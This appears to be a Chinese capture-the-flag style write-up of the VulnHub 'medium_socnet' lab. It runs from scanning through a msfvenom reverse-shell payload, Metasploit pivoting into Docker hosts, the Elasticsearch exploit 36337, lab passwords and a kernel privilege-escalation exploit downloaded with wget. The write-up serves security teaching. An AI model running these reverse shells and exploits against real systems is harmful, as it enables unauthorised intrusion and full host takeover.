靶场下载地址:
https://www.vulnhub.com/entry/boredhackerblog-social-network,454/
信息搜集
一、Nmap进行扫描
nmap -sP 192.168.128.0/24 #对自己的靶机网段进行存活探测,获取靶机地址
nmap -T4 -A -p- 192.168.128.138 #对目标进行全端口扫描
二、WEB服务探测
通过端口扫描发现5000端口是一个web服务
通过对页面进行测试,发现只有一个简单的输入框,没有可以利用的地方
使用dirsearch对目标进行目录扫描
python dirsearch.py -u http://192.168.128.138:5000 -e *
通过目录扫描发现以下目录:
http://192.168.128.138:5000/admin
三、获取shell
查看到页面可以使用exec()函数执行命令
通过msf生成python反弹shell的脚本
msfvenom -p python/meterpreter/reverse_tcp LHOST=192.168.128.133 LPORT=3333 -f raw > shell.py
使用msf进行监听
use exploit/multi/handler
set payload python/meterpreter/reverse_tcp
set lhost 192.168.128.133
set lport 3333
run
开启监听后,将shell.py里面的内容复制到网站上执行
成功获取shell
通过对获取的主机发现,此主机为docker环境
docker环境检查方法:
# 检查根目录下是否存在.dockerenv文件
ls /.dockerenv
# 检查/proc/1/cgroup是否存在还有docker字符串
cat /proc/1/cgroup
通过ping命令探测,是否还有其他主机
for i in $(seq 254); do ping -c 1 172.17.0.$i | grep "ttl";done
扫描后发现只有172.17.0.1、172.17.0.2、172.17.0.3 是可以ping通的
将流量代理出来,对存活主机进行端口扫描
run autoroute -s 172.17.0.0/24 #创建跳板路由
bg #退出当前会话
use auxiliary/server/socks_proxy
run
运行后修改:proxychains配置文件
vim /etc/proxychains.conf
对内网目标进行端口扫描
proxychains nmap -Pn -sT -sV 172.17.0.1
proxychains nmap -Pn -sT -sV 172.17.0.2
proxychains nmap -Pn -sT -sV 172.17.0.3
通过扫描发现172.17.0.1和172.17.0.2开启的服务相同
172.17.0.3开启了9200 ElasticSearch服务
四、Elasticsearch漏洞利用
# 搜索Elasticsearch利用程序
searchsploit Elasticsearch
searchsploit -m 36337 #下载到当前目录
proxychains python2 36337.py 172.17.0.3
运行exp脚本后成功获取shell
五、获取宿主机shell
通过当前获取的权限,对当前主机进行信息搜集,发现passwords文件中存放了账户与加密后的密码
密码解密后:
john:1337hack
test:1234test
admin:1111pass
root:1234pass
jane:1234jane
通过登录测试,只有john:1337hack可成功登录目标宿主机192.168.128.138
ssh john@192.168.128.138
进行提权,拿下主机root权限
uname -a #查看主机内核版本
searchsploit 3.13.0
由于靶机没有gcc,且查看37292.c脚本发现,还需编译ofs-lib.so文件。所以考虑把ofs-lib.so文件从lib文件复制出,并注释掉37292.c相关代码再编译,并将编译后的文件和ofs-lib.so共同上传目标靶机
locate ofs-lib.so # 查找文件
vim 37292.c
删除 139-147行代码后本地进行编译
gcc -o exp 37292.c
远程下载exp和ofs-lib.so文件到靶机/tmp目录下
wget http://192.168.128.133:8088/exp
wget http://192.168.128.133:8088/ofs-lib.so
chmod +x exp # 赋予程序程序权限
./exp # 执行程序
成功获取到shell
原文始发于微信公众号(渗透笔记):medium_socnet靶场实战
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论